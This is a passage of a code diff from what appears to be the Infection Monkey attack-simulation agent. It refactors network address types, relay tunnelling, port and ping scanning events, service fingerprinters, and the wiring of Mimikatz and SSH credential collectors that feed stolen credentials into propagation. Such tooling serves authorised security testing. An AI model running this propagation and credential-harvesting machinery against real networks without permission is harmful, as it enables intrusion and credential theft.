# parent_id=parent,
parent_id=None, # None for now, until we change GUID to UUID
cc_server=self._island_address,
network_interfaces=get_network_interfaces(),
)
self._island_api_client.register_agent(agent_registration_data)
def _select_server(
self, server_clients: Mapping[str, Optional[IIslandAPIClient]]
) -> Tuple[Optional[str], Optional[IIslandAPIClient]]:
self, server_clients: IslandAPISearchResults
) -> Tuple[Optional[SocketAddress], Optional[IIslandAPIClient]]:
for server in self._opts.servers:
if server_clients[server]:
if server_clients[server] is not None:
return server, server_clients[server]
return None, None
@staticmethod
def _log_arguments(args):
arg_string = " ".join([f"{key}: {value}" for key, value in vars(args).items()])
arg_string = ", ".join([f"{key}: {value}" for key, value in vars(args).items()])
logger.info(f"Monkey started with arguments: {arg_string}")
def start(self):
@ -195,7 +217,7 @@ class InfectionMonkey:
run_aws_environment_check(self._telemetry_messenger)
should_stop = ControlChannel(self._control_client.server_address, GUID).should_agent_stop()
should_stop = self._control_channel.should_agent_stop()
if should_stop:
logger.info("The Monkey Island has instructed this agent to stop")
return
@ -211,26 +233,21 @@ class InfectionMonkey:
if firewall.is_enabled():
firewall.add_firewall_rule()
self._control_channel = ControlChannel(self._control_client.server_address, GUID)
self._control_channel.register_agent(self._opts.parent)
config = self._control_channel.get_config()
relay_port = get_free_tcp_port()
self._relay = TCPRelay(
relay_port,
IPv4Address(self._cmd_island_ip),
self._cmd_island_port,
self._island_address,
client_disconnect_timeout=config.keep_tunnel_open_time,
)
relay_servers = [f"{ip}:{relay_port}" for ip in get_my_ip_addresses()]
if not maximum_depth_reached(config.propagation.maximum_depth, self._current_depth):
self._relay.start()
StateTelem(is_done=False, version=get_version()).send()
self._build_master(relay_servers)
self._build_master(relay_port)
register_signal_handlers(self._master)
@ -241,7 +258,8 @@ class InfectionMonkey:
return agent_event_serializer_registry
def _build_master(self, relay_servers: List[str]):
def _build_master(self, relay_port: int):
servers = self._build_server_list(relay_port)
local_network_interfaces = get_network_interfaces()
# TODO control_channel and control_client have same responsibilities, merge them
@ -249,64 +267,64 @@ class InfectionMonkey:
self._control_channel
)
event_queue = PyPubSubAgentEventQueue(Publisher())
agent_event_queue = PyPubSubAgentEventQueue(Publisher())
self._subscribe_events(
event_queue,
agent_event_queue,
propagation_credentials_repository,
self._control_client.server_address,
self._agent_event_serializer_registry,
)
puppet = self._build_puppet(event_queue)
puppet = self._build_puppet(agent_event_queue)
victim_host_factory = self._build_victim_host_factory(local_network_interfaces)
telemetry_messenger = ExploitInterceptingTelemetryMessenger(
self._telemetry_messenger, self._relay
)
self._master = AutomatedMaster(
self._current_depth,
self._opts.servers + relay_servers,
servers,
puppet,
telemetry_messenger,
self._telemetry_messenger,
victim_host_factory,
self._control_channel,
local_network_interfaces,
propagation_credentials_repository,
)
def _build_server_list(self, relay_port: int) -> Sequence[str]:
my_servers = set(map(str, self._opts.servers))
relay_servers = {f"{ip}:{relay_port}" for ip in get_my_ip_addresses()}
return list(my_servers.union(relay_servers))
def _subscribe_events(
self,
event_queue: IAgentEventQueue,
agent_event_queue: IAgentEventQueue,
propagation_credentials_repository: IPropagationCredentialsRepository,
server_address: str,
agent_event_serializer_registry: AgentEventSerializerRegistry,
):
event_queue.subscribe_type(
agent_event_queue.subscribe_type(
CredentialsStolenEvent,
add_credentials_from_event_to_propagation_credentials_repository(
add_stolen_credentials_to_propagation_credentials_repository(
propagation_credentials_repository
),
)
event_queue.subscribe_all_events(
agent_event_queue.subscribe_all_events(
AgentEventForwarder(self._island_api_client, agent_event_serializer_registry).send_event
)
agent_event_queue.subscribe_type(PropagationEvent, notify_relay_on_propagation(self._relay))
def _build_puppet(
self,
event_queue: IAgentEventQueue,
agent_event_queue: IAgentEventQueue,
) -> IPuppet:
puppet = Puppet()
puppet = Puppet(agent_event_queue)
puppet.load_plugin(
"MimikatzCollector",
MimikatzCredentialCollector(event_queue),
MimikatzCredentialCollector(agent_event_queue),
PluginType.CREDENTIAL_COLLECTOR,
)
puppet.load_plugin(
"SSHCollector",
SSHCredentialCollector(self._telemetry_messenger, event_queue),
SSHCredentialCollector(self._telemetry_messenger, agent_event_queue),
PluginType.CREDENTIAL_COLLECTOR,
)
@ -320,7 +338,7 @@ class InfectionMonkey:
island_api_client=self._island_api_client,
)
exploit_wrapper = ExploiterWrapper(
self._telemetry_messenger, event_queue, agent_binary_repository
self._telemetry_messenger, agent_event_queue, agent_binary_repository
)
puppet.load_plugin(
@ -420,8 +438,8 @@ class InfectionMonkey:
return VictimHostFactory(self._cmd_island_ip, self._cmd_island_port, on_island)
def _running_on_island(self, local_network_interfaces: List[IPv4Interface]) -> bool:
server_ip, _ = address_to_ip_port(self._control_client.server_address)
return server_ip in {str(interface.ip) for interface in local_network_interfaces}
server_ip = self._control_client.server_address.ip
return server_ip in {interface.ip for interface in local_network_interfaces}
def _is_another_monkey_running(self):
return not self._singleton.try_lock()
@ -470,17 +488,17 @@ class InfectionMonkey:
def _close_tunnel(self):
logger.info(f"Quitting tunnel {self._cmd_island_ip}")
notify_disconnect(self._cmd_island_ip, self._cmd_island_port)
notify_disconnect(self._island_address)
def _send_log(self):
monkey_log_path = get_agent_log_path()
if monkey_log_path.is_file():
with open(monkey_log_path, "r") as f:
log = f.read()
log_contents = f.read()
else:
log = ""
log_contents = ""
self._control_client.send_log(log)
self._island_api_client.send_log(self._agent_id, log_contents)
@staticmethod
def _self_delete() -> bool:

View File

@ -4,7 +4,7 @@ import struct
from dataclasses import dataclass
from random import shuffle # noqa: DUO102
from threading import Lock
from typing import Dict, Set
from typing import Dict, Optional, Set
import netifaces
import psutil
@ -25,7 +25,7 @@ RTF_REJECT = 0x0200
@dataclass
class NetworkAddress:
ip: str
domain: str
domain: Optional[str]
def get_host_subnets():

View File

@ -1,9 +1,10 @@
import socket
from ipaddress import IPv4Address
from logging import getLogger
from threading import Lock
from typing import Set
from common.types import SocketAddress
from .consts import SOCKET_TIMEOUT
from .sockets_pipe import SocketsPipe
@ -15,9 +16,9 @@ class TCPPipeSpawner:
Creates bi-directional pipes between the configured client and other clients.
"""
def __init__(self, target_addr: IPv4Address, target_port: int):
self._target_addr = target_addr
self._target_port = target_port
def __init__(self, target_addr: SocketAddress):
self._target_ip = target_addr.ip
self._target_port = target_addr.port
self._pipes: Set[SocketsPipe] = set()
self._lock = Lock()
@ -31,7 +32,7 @@ class TCPPipeSpawner:
dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
dest.settimeout(SOCKET_TIMEOUT)
try:
dest.connect((str(self._target_addr), self._target_port))
dest.connect((str(self._target_ip), self._target_port))
except OSError as err:
source.close()
dest.close()

View File

@ -3,6 +3,7 @@ from logging import getLogger
from threading import Lock, Thread
from time import sleep
from common.types import SocketAddress
from infection_monkey.network.relay import (
RelayConnectionHandler,
RelayUserHandler,
@ -22,15 +23,14 @@ class TCPRelay(Thread, InterruptableThreadMixin):
def __init__(
self,
relay_port: int,
dest_addr: IPv4Address,
dest_port: int,
dest_address: SocketAddress,
client_disconnect_timeout: float,
):
self._user_handler = RelayUserHandler(
new_client_timeout=client_disconnect_timeout,
client_disconnect_timeout=client_disconnect_timeout,
)
self._pipe_spawner = TCPPipeSpawner(dest_addr, dest_port)
self._pipe_spawner = TCPPipeSpawner(dest_address)
relay_filter = RelayConnectionHandler(self._pipe_spawner, self._user_handler)
self._connection_handler = TCPConnectionHandler(
bind_host="",

View File

@ -1,11 +1,10 @@
import logging
import socket
from contextlib import suppress
from ipaddress import IPv4Address
from typing import Dict, Iterable, Iterator, Mapping, MutableMapping, Optional, Tuple
from typing import Dict, Iterable, Iterator, Optional
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from common.network.network_utils import address_to_ip_port
from common.types import SocketAddress
from infection_monkey.island_api_client import (
AbstractIslandAPIClientFactory,
IIslandAPIClient,
@ -27,12 +26,15 @@ logger = logging.getLogger(__name__)
NUM_FIND_SERVER_WORKERS = 32
IslandAPISearchResults = Dict[SocketAddress, Optional[IIslandAPIClient]]
def find_available_island_apis(
servers: Iterable[str], island_api_client_factory: AbstractIslandAPIClientFactory
) -> Mapping[str, Optional[IIslandAPIClient]]:
servers: Iterable[SocketAddress], island_api_client_factory: AbstractIslandAPIClientFactory
) -> IslandAPISearchResults:
server_list = list(servers)
server_iterator = ThreadSafeIterator(server_list.__iter__())
server_results: Dict[str, Tuple[bool, IIslandAPIClient]] = {}
server_results: IslandAPISearchResults = {}
run_worker_threads(
_find_island_server,
@ -45,18 +47,18 @@ def find_available_island_apis(
def _find_island_server(
servers: Iterator[str],
server_status: MutableMapping[str, Optional[IIslandAPIClient]],
servers: Iterator[SocketAddress],
server_results: IslandAPISearchResults,
island_api_client_factory: AbstractIslandAPIClientFactory,
):
with suppress(StopIteration):
server = next(servers)
server_status[server] = _check_if_island_server(server, island_api_client_factory)
server_results[server] = _check_if_island_server(server, island_api_client_factory)
def _check_if_island_server(
server: str, island_api_client_factory: AbstractIslandAPIClientFactory
) -> IIslandAPIClient:
server: SocketAddress, island_api_client_factory: AbstractIslandAPIClientFactory
) -> Optional[IIslandAPIClient]:
logger.debug(f"Trying to connect to server: {server}")
try:
@ -76,34 +78,28 @@ def _check_if_island_server(
return None
def send_remove_from_waitlist_control_message_to_relays(servers: Iterable[str]):
def send_remove_from_waitlist_control_message_to_relays(servers: Iterable[SocketAddress]):
for i, server in enumerate(servers, start=1):
t = create_daemon_thread(
target=_send_remove_from_waitlist_control_message_to_relay,
target=notify_disconnect,
name=f"SendRemoveFromWaitlistControlMessageToRelaysThread-{i:02d}",
args=(server,),
)
t.start()
def _send_remove_from_waitlist_control_message_to_relay(server: str):
ip, port = address_to_ip_port(server)
notify_disconnect(IPv4Address(ip), int(port))
def notify_disconnect(server_ip: IPv4Address, server_port: int):
def notify_disconnect(server_address: SocketAddress):
"""
Tell upstream relay that we no longer need the relay.
Tell upstream relay that we no longer need the relay
:param server_ip: The IP address of the server to notify.
:param server_port: The port of the server to notify.
:param server_address: The address of the server to notify
"""
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as d_socket:
d_socket.settimeout(LONG_REQUEST_TIMEOUT)
try:
d_socket.connect((str(server_ip), server_port))
d_socket.connect((str(server_address.ip), server_address.port))
d_socket.sendall(RELAY_CONTROL_MESSAGE_REMOVE_FROM_WAITLIST)
logger.info(f"Control message was sent to the server/relay {server_ip}:{server_port}")
logger.info(f"Control message was sent to the server/relay {server_address}")
except OSError as err:
logger.error(f"Error connecting to socket {server_ip}:{server_port}: {err}")
logger.error(f"Error connecting to socket {server_address}: {err}")

View File

@ -3,6 +3,8 @@ import select
import socket
import struct
import sys
from ipaddress import IPv4Address
from typing import Optional
from common.common_consts.timeouts import CONNECTION_TIMEOUT
from infection_monkey.network.info import get_routes
@ -13,7 +15,7 @@ BANNER_READ = 1024
logger = logging.getLogger(__name__)
def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False):
def check_tcp_port(ip: IPv4Address, port: int, timeout=DEFAULT_TIMEOUT, get_banner=False):
"""
Checks if a given TCP port is open
:param ip: Target IP
@ -26,7 +28,7 @@ def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False):
sock.settimeout(timeout)
try:
sock.connect((ip, port))
sock.connect((str(ip), port))
except socket.timeout:
return False, None
except socket.error as exc:
@ -51,7 +53,7 @@ def tcp_port_to_service(port):
return "tcp-" + str(port)
def get_interface_to_target(dst):
def get_interface_to_target(dst: str) -> Optional[str]:
"""
:param dst: destination IP address string without port. E.G. '192.168.1.1.'
:return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.'

View File

@ -5,13 +5,8 @@ from typing import Any, Dict
import requests
from common.common_consts.network_consts import ES_SERVICE
from infection_monkey.i_puppet import (
FingerprintData,
IFingerprinter,
PingScanData,
PortScanData,
PortStatus,
)
from common.types import PingScanData, PortStatus
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PortScanData
DISPLAY_NAME = "ElasticSearch"
ES_PORT = 9200
@ -31,10 +26,10 @@ class ElasticSearchFingerprinter(IFingerprinter):
port_scan_data: Dict[int, PortScanData],
_options: Dict,
) -> FingerprintData:
services: Dict[str, Any] = {}
services = {}
if (ES_PORT not in port_scan_data) or (port_scan_data[ES_PORT].status != PortStatus.OPEN):
return FingerprintData(None, "", services)
return FingerprintData(None, None, services)
try:
elasticsearch_info = _query_elasticsearch(host)
@ -42,7 +37,7 @@ class ElasticSearchFingerprinter(IFingerprinter):
except Exception as ex:
logger.debug(f"Did not detect an ElasticSearch cluster: {ex}")
return FingerprintData(None, "", services)
return FingerprintData(None, None, services)
def _query_elasticsearch(host: str) -> Dict[str, Any]:

View File

@ -1,17 +1,12 @@
import logging
from contextlib import closing
from typing import Any, Dict, Iterable, Mapping, Optional, Set, Tuple
from typing import Any, Dict, Iterable, Optional, Set, Tuple
from requests import head
from requests.exceptions import ConnectionError, Timeout
from infection_monkey.i_puppet import (
FingerprintData,
IFingerprinter,
PingScanData,
PortScanData,
PortStatus,
)
from common.types import PingScanData, PortStatus
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PortScanData
logger = logging.getLogger(__name__)
@ -46,7 +41,7 @@ class HTTPFingerprinter(IFingerprinter):
"data": (server_header_contents, ssl),
}
return FingerprintData(None, "", services)
return FingerprintData(None, None, services)
def _query_potential_http_server(host: str, port: int) -> Tuple[Optional[str], Optional[bool]]:
@ -71,7 +66,7 @@ def _get_server_from_headers(url: str) -> Optional[str]:
return None
def _get_http_headers(url: str) -> Optional[Mapping[str, Any]]:
def _get_http_headers(url: str) -> Optional[Dict[str, Any]]:
try:
logger.debug(f"Sending request for headers to {url}")
with closing(head(url, verify=False, timeout=1)) as response: # noqa: DUO123

View File

@ -1,9 +1,10 @@
import errno
import logging
import socket
from typing import Any, Dict
from typing import Any, Dict, Optional
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PingScanData, PortScanData
from common.types import PingScanData
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PortScanData
MSSQL_SERVICE = "MSSQL"
DISPLAY_NAME = MSSQL_SERVICE
@ -32,10 +33,10 @@ class MSSQLFingerprinter(IFingerprinter):
except Exception as ex:
logger.debug(f"Did not detect an MSSQL server: {ex}")
return FingerprintData(None, "", services)
return FingerprintData(None, None, services)
def _query_mssql_for_instance_data(host: str) -> bytes:
def _query_mssql_for_instance_data(host: str) -> Optional[bytes]:
# Create a UDP socket and sets a timeout
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(_MSSQL_SOCKET_TIMEOUT)
@ -44,20 +45,22 @@ def _query_mssql_for_instance_data(host: str) -> bytes:
# The message is a CLNT_UCAST_EX packet to get all instances
# https://msdn.microsoft.com/en-us/library/cc219745.aspx
message_str = "\x03"
message = "\x03"
# Encode the message as a bytes array
message = message_str.encode()
message = message.encode()
# send data and receive response
try:
logger.info(f"Sending message to requested host: {host}, {message_str}")
logger.info(f"Sending message to requested host: {host}, {message}")
sock.sendto(message, server_address)
data, _ = sock.recvfrom(_BUFFER_SIZE)
return data
except socket.timeout as err:
logger.debug(f"Socket timeout reached, maybe browser service on host: {host} doesn't exist")
logger.debug(
f"Socket timeout reached, maybe browser service on host: {host} doesnt " "exist"
)
raise err
except socket.error as err:
if err.errno == errno.ECONNRESET:
@ -76,7 +79,7 @@ def _query_mssql_for_instance_data(host: str) -> bytes:
def _get_services_from_server_data(data: bytes) -> Dict[str, Any]:
services: Dict[str, Any] = {MSSQL_SERVICE: {}}
services = {MSSQL_SERVICE: {}}
services[MSSQL_SERVICE]["display_name"] = DISPLAY_NAME
services[MSSQL_SERVICE]["port"] = SQL_BROWSER_DEFAULT_PORT

View File

@ -4,10 +4,16 @@ import os
import re
import subprocess
import sys
from ipaddress import IPv4Address
from time import time
from typing import Tuple
from common import OperatingSystem
from infection_monkey.i_puppet import PingScanData
from common.agent_events import PingScanEvent
from common.event_queue import IAgentEventQueue
from common.types import PingScanData
from infection_monkey.utils.environment import is_windows_os
from infection_monkey.utils.ids import get_agent_id
TTL_REGEX = re.compile(r"TTL=([0-9]+)\b", re.IGNORECASE)
LINUX_TTL = 64 # Windows TTL is 128
@ -17,27 +23,30 @@ EMPTY_PING_SCAN = PingScanData(False, None)
logger = logging.getLogger(__name__)
def ping(host: str, timeout: float) -> PingScanData:
def ping(host: str, timeout: float, agent_event_queue: IAgentEventQueue) -> PingScanData:
try:
return _ping(host, timeout)
return _ping(host, timeout, agent_event_queue)
except Exception:
logger.exception("Unhandled exception occurred while running ping")
return EMPTY_PING_SCAN
def _ping(host: str, timeout: float) -> PingScanData:
def _ping(host: str, timeout: float, agent_event_queue: IAgentEventQueue) -> PingScanData:
if is_windows_os():
timeout = math.floor(timeout * 1000)
ping_command_output = _run_ping_command(host, timeout)
event_timestamp, ping_command_output = _run_ping_command(host, timeout)
ping_scan_data = _process_ping_command_output(ping_command_output)
logger.debug(f"{host} - {ping_scan_data}")
ping_scan_event = _generate_ping_scan_event(host, ping_scan_data, event_timestamp)
agent_event_queue.publish(ping_scan_event)
return ping_scan_data
def _run_ping_command(host: str, timeout: float) -> str:
def _run_ping_command(host: str, timeout: float) -> Tuple[float, str]:
ping_cmd = _build_ping_command(host, timeout)
logger.debug(f"Running ping command: {' '.join(ping_cmd)}")
@ -45,6 +54,8 @@ def _run_ping_command(host: str, timeout: float) -> str:
# of os.device_encoding(1) will be None. Setting errors="backslashreplace" prevents a crash
# in this case. See #1175 and #1403 for more information.
encoding = os.device_encoding(1)
ping_event_timestamp = time()
sub_proc = subprocess.Popen(
ping_cmd,
stdout=subprocess.PIPE,
@ -64,9 +75,9 @@ def _run_ping_command(host: str, timeout: float) -> str:
logger.debug(output)
except subprocess.TimeoutExpired as te:
logger.error(te)
return ""
return ping_event_timestamp, ""
return output
return ping_event_timestamp, output
def _process_ping_command_output(ping_command_output: str) -> PingScanData:
@ -78,11 +89,8 @@ def _process_ping_command_output(ping_command_output: str) -> PingScanData:
# match at all if the group isn't found or the contents of the group are not only digits.
ttl = int(ttl_match.group(1))
operating_system = None
if ttl <= LINUX_TTL:
operating_system = OperatingSystem.LINUX
else: # as far we we know, could also be OSX/BSD, but lets handle that when it comes up.
operating_system = OperatingSystem.WINDOWS
# could also be OSX/BSD, but lets handle that when it comes up.
operating_system = OperatingSystem.LINUX if ttl <= LINUX_TTL else OperatingSystem.WINDOWS
return PingScanData(True, operating_system)
@ -93,3 +101,15 @@ def _build_ping_command(host: str, timeout: float):
# on older version of ping the timeout must be an integer, thus we use ceil
return ["ping", ping_count_flag, "1", ping_timeout_flag, str(math.ceil(timeout)), host]
def _generate_ping_scan_event(
host: str, ping_scan_data: PingScanData, event_timestamp: float
) -> PingScanEvent:
return PingScanEvent(
source=get_agent_id(),
target=IPv4Address(host),
timestamp=event_timestamp,
response_received=ping_scan_data.response_received,
os=ping_scan_data.os,
)

View File

@ -2,34 +2,31 @@ import itertools
import logging
import socket
from ipaddress import IPv4Interface
from typing import Dict, List
from typing import Dict, Iterable, List, Optional, Sequence
from common.network.network_range import InvalidNetworkRangeError, NetworkRange
from infection_monkey.network import NetworkAddress
logger = logging.getLogger(__name__)
# TODO: We can probably reduce code and save ourselves some trouble if we use IPv4Address and
# IPv4Network. See https://docs.python.org/3/library/ipaddress.html
def compile_scan_target_list(
local_network_interfaces: List[IPv4Interface],
ranges_to_scan: List[str],
inaccessible_subnets: List[str],
blocklisted_ips: List[str],
enable_local_network_scan: bool,
local_network_interfaces: Sequence[IPv4Interface],
ranges_to_scan: Sequence[str],
inaccessible_subnets: Sequence[str],
blocklisted_ips: Sequence[str],
scan_my_networks: bool,
) -> List[NetworkAddress]:
scan_targets = _get_ips_from_subnets_to_scan(ranges_to_scan)
if enable_local_network_scan:
scan_targets.extend(_get_ips_to_scan_from_local_interface(local_network_interfaces))
if scan_my_networks:
scan_targets.extend(_get_ips_to_scan_from_interface(local_network_interfaces))
if inaccessible_subnets:
inaccessible_subnet_addresses = _get_segmentation_check_targets(
other_targets = _get_segmentation_check_targets(
inaccessible_subnets, local_network_interfaces
)
scan_targets.extend(inaccessible_subnet_addresses)
scan_targets.extend(other_targets)
scan_targets = _remove_interface_ips(scan_targets, local_network_interfaces)
scan_targets = _remove_blocklisted_ips(scan_targets, blocklisted_ips)
@ -39,12 +36,12 @@ def compile_scan_target_list(
return scan_targets
def _remove_redundant_targets(targets: List[NetworkAddress]) -> List[NetworkAddress]:
reverse_dns: Dict[str, str] = {}
def _remove_redundant_targets(targets: Sequence[NetworkAddress]) -> List[NetworkAddress]:
reverse_dns: Dict[str, Optional[str]] = {}
for target in targets:
domain_name = target.domain
ip = target.ip
if ip not in reverse_dns or (not reverse_dns[ip] and domain_name):
if ip not in reverse_dns or (reverse_dns[ip] is None and domain_name is not None):
reverse_dns[ip] = domain_name
return [NetworkAddress(key, value) for (key, value) in reverse_dns.items()]
@ -52,14 +49,15 @@ def _remove_redundant_targets(targets: List[NetworkAddress]) -> List[NetworkAddr
def _range_to_addresses(range_obj: NetworkRange) -> List[NetworkAddress]:
addresses = []
for address in range_obj:
if hasattr(range_obj, "domain_name"):
addresses.append(NetworkAddress(address, range_obj.domain_name))
else:
addresses.append(NetworkAddress(address, ""))
try:
domain = range_obj.domain_name # type: ignore
except AttributeError:
domain = None
addresses.append(NetworkAddress(address, domain))
return addresses
def _get_ips_from_subnets_to_scan(subnets_to_scan: List[str]) -> List[NetworkAddress]:
def _get_ips_from_subnets_to_scan(subnets_to_scan: Iterable[str]) -> List[NetworkAddress]:
ranges_to_scan = NetworkRange.filter_invalid_ranges(
subnets_to_scan, "Bad network range input for targets to scan:"
)
@ -68,7 +66,7 @@ def _get_ips_from_subnets_to_scan(subnets_to_scan: List[str]) -> List[NetworkAdd
return _get_ips_from_ranges_to_scan(network_ranges)
def _get_ips_from_ranges_to_scan(network_ranges: List[NetworkRange]) -> List[NetworkAddress]:
def _get_ips_from_ranges_to_scan(network_ranges: Iterable[NetworkRange]) -> List[NetworkAddress]:
scan_targets = []
for _range in network_ranges:
@ -76,8 +74,8 @@ def _get_ips_from_ranges_to_scan(network_ranges: List[NetworkRange]) -> List[Net
return scan_targets
def _get_ips_to_scan_from_local_interface(
interfaces: List[IPv4Interface],
def _get_ips_to_scan_from_interface(
interfaces: Sequence[IPv4Interface],
) -> List[NetworkAddress]:
ranges = [str(interface) for interface in interfaces]
@ -88,14 +86,14 @@ def _get_ips_to_scan_from_local_interface(
def _remove_interface_ips(
scan_targets: List[NetworkAddress], interfaces: List[IPv4Interface]
scan_targets: Sequence[NetworkAddress], interfaces: Iterable[IPv4Interface]
) -> List[NetworkAddress]:
interface_ips = [str(interface.ip) for interface in interfaces]
return _remove_ips_from_scan_targets(scan_targets, interface_ips)
def _remove_blocklisted_ips(
scan_targets: List[NetworkAddress], blocked_ips: List[str]
scan_targets: Sequence[NetworkAddress], blocked_ips: Sequence[str]
) -> List[NetworkAddress]:
filtered_blocked_ips = NetworkRange.filter_invalid_ranges(
blocked_ips, "Invalid blocked IP provided:"
@ -106,14 +104,14 @@ def _remove_blocklisted_ips(
def _remove_ips_from_scan_targets(
scan_targets: List[NetworkAddress], ips_to_remove: List[str]
scan_targets: Sequence[NetworkAddress], ips_to_remove: Iterable[str]
) -> List[NetworkAddress]:
ips_to_remove_set = set(ips_to_remove)
return [address for address in scan_targets if address.ip not in ips_to_remove_set]
def _get_segmentation_check_targets(
inaccessible_subnets: List[str], local_interfaces: List[IPv4Interface]
inaccessible_subnets: Iterable[str], local_interfaces: Iterable[IPv4Interface]
) -> List[NetworkAddress]:
ips_to_scan = []
local_ips = [str(interface.ip) for interface in local_interfaces]
@ -134,17 +132,17 @@ def _get_segmentation_check_targets(
return ips_to_scan
def _convert_to_range_object(subnets: List[str]) -> List[NetworkRange]:
def _convert_to_range_object(subnets: Iterable[str]) -> List[NetworkRange]:
return [NetworkRange.get_range_obj(subnet) for subnet in subnets]
def _is_segmentation_check_required(
local_ips: List[str], subnet1: NetworkRange, subnet2: NetworkRange
local_ips: Sequence[str], subnet1: NetworkRange, subnet2: NetworkRange
):
return _is_any_ip_in_subnet(local_ips, subnet1) and not _is_any_ip_in_subnet(local_ips, subnet2)
def _is_any_ip_in_subnet(ip_addresses: List[str], subnet: NetworkRange):
def _is_any_ip_in_subnet(ip_addresses: Iterable[str], subnet: NetworkRange):
for ip_address in ip_addresses:
if subnet.is_in_range(ip_address):
return True

View File

@ -6,13 +6,8 @@ from typing import Dict
from odict import odict
from common import OperatingSystem
from infection_monkey.i_puppet import (
FingerprintData,
IFingerprinter,
PingScanData,
PortScanData,
PortStatus,
)
from common.types import PingScanData, PortStatus
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PortScanData
DISPLAY_NAME = "SMB"
SMB_PORT = 445
@ -144,16 +139,16 @@ class SMBFingerprinter(IFingerprinter):
port_scan_data: Dict[int, PortScanData],
_options: Dict,
) -> FingerprintData:
services: Dict = {}
services = {}
smb_service = {
"display_name": DISPLAY_NAME,
"port": SMB_PORT,
}
os_type = None
os_version = ""
os_version = None
if (SMB_PORT not in port_scan_data) or (port_scan_data[SMB_PORT].status != PortStatus.OPEN):
return FingerprintData(None, "", services)
return FingerprintData(None, None, services)
logger.debug(f"Fingerprinting potential SMB port {SMB_PORT} on {host}")

View File

@ -2,7 +2,8 @@ import re
from typing import Dict, Optional, Tuple
from common import OperatingSystem
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PingScanData, PortScanData
from common.types import PingScanData
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PortScanData
SSH_REGEX = r"SSH-\d\.\d-OpenSSH"
LINUX_DIST_SSH = ["ubuntu", "debian"]
@ -21,7 +22,7 @@ class SSHFingerprinter(IFingerprinter):
_options: Dict,
) -> FingerprintData:
os_type = None
os_version = ""
os_version = None
services = {}
for ps_data in port_scan_data.values():
@ -35,9 +36,9 @@ class SSHFingerprinter(IFingerprinter):
return FingerprintData(os_type, os_version, services)
@staticmethod
def _get_host_os(banner) -> Tuple[Optional[OperatingSystem], str]:
def _get_host_os(banner) -> Tuple[Optional[str], Optional[str]]:
os = None
os_version = ""
os_version = None
for dist in LINUX_DIST_SSH:
if banner.lower().find(dist) != -1:
os_version = banner.split(" ").pop().strip()

View File

@ -1,39 +1,64 @@
import logging
import select
import socket
import time
from ipaddress import IPv4Address
from pprint import pformat
from typing import Collection, Iterable, Mapping, Tuple
from time import sleep, time
from typing import Collection, Dict, Iterable, Mapping, Tuple
from common.agent_events import TCPScanEvent
from common.event_queue import IAgentEventQueue
from common.types import PortStatus
from common.utils import Timer
from infection_monkey.i_puppet import PortScanData, PortStatus
from infection_monkey.i_puppet import PortScanData
from infection_monkey.network.tools import BANNER_READ, DEFAULT_TIMEOUT, tcp_port_to_service
from infection_monkey.utils.ids import get_agent_id
logger = logging.getLogger(__name__)
POLL_INTERVAL = 0.5
EMPTY_PORT_SCAN = {-1: PortScanData(-1, PortStatus.CLOSED, "", "")}
EMPTY_PORT_SCAN = {-1: PortScanData(-1, PortStatus.CLOSED, None, None)}
def scan_tcp_ports(
host: str, ports_to_scan: Collection[int], timeout: float
) -> Mapping[int, PortScanData]:
host: str, ports_to_scan: Collection[int], timeout: float, agent_event_queue: IAgentEventQueue
) -> Dict[int, PortScanData]:
try:
return _scan_tcp_ports(host, ports_to_scan, timeout)
return _scan_tcp_ports(host, ports_to_scan, timeout, agent_event_queue)
except Exception:
logger.exception("Unhandled exception occurred while trying to scan tcp ports")
return EMPTY_PORT_SCAN
def _scan_tcp_ports(host: str, ports_to_scan: Collection[int], timeout: float):
open_ports = _check_tcp_ports(host, ports_to_scan, timeout)
def _scan_tcp_ports(
host: str, ports_to_scan: Collection[int], timeout: float, agent_event_queue: IAgentEventQueue
) -> Dict[int, PortScanData]:
event_timestamp, open_ports = _check_tcp_ports(host, ports_to_scan, timeout)
return _build_port_scan_data(ports_to_scan, open_ports)
port_scan_data = _build_port_scan_data(ports_to_scan, open_ports)
tcp_scan_event = _generate_tcp_scan_event(host, port_scan_data, event_timestamp)
agent_event_queue.publish(tcp_scan_event)
return port_scan_data
def _generate_tcp_scan_event(
host: str, port_scan_data: Dict[int, PortScanData], event_timestamp: float
):
port_statuses = {port: psd.status for port, psd in port_scan_data.items()}
return TCPScanEvent(
source=get_agent_id(),
target=IPv4Address(host),
timestamp=event_timestamp,
ports=port_statuses,
)
def _build_port_scan_data(
ports_to_scan: Iterable[int], open_ports: Mapping[int, str]
) -> Mapping[int, PortScanData]:
) -> Dict[int, PortScanData]:
port_scan_data = {}
for port in ports_to_scan:
if port in open_ports:
@ -48,12 +73,12 @@ def _build_port_scan_data(
def _get_closed_port_data(port: int) -> PortScanData:
return PortScanData(port, PortStatus.CLOSED, "", "")
return PortScanData(port, PortStatus.CLOSED, None, None)
def _check_tcp_ports(
ip: str, ports_to_scan: Collection[int], timeout: float = DEFAULT_TIMEOUT
) -> Mapping[int, str]:
) -> Tuple[float, Dict[int, str]]:
"""
Checks whether any of the given ports are open on a target IP.
:param ip: IP of host to attack
@ -70,6 +95,7 @@ def _check_tcp_ports(
connected_ports = set()
open_ports = {}
event_timestamp = time()
try:
logger.debug(
"Connecting to the following ports %s" % ",".join((str(x) for x in ports_to_scan))
@ -98,7 +124,7 @@ def _check_tcp_ports(
while (not timer.is_expired()) and sockets_to_try:
# The call to select() may return sockets that are writeable but not actually
# connected. Adding this sleep prevents excessive looping.
time.sleep(min(POLL_INTERVAL, timer.time_remaining))
sleep(min(POLL_INTERVAL, timer.time_remaining))
sock_objects = [s[1] for s in sockets_to_try]
@ -134,7 +160,7 @@ def _check_tcp_ports(
_clean_up_sockets(possible_ports, connected_ports)
return open_ports
return event_timestamp, open_ports
def _clean_up_sockets(

Some files were not shown because too many files have changed in this diff Show More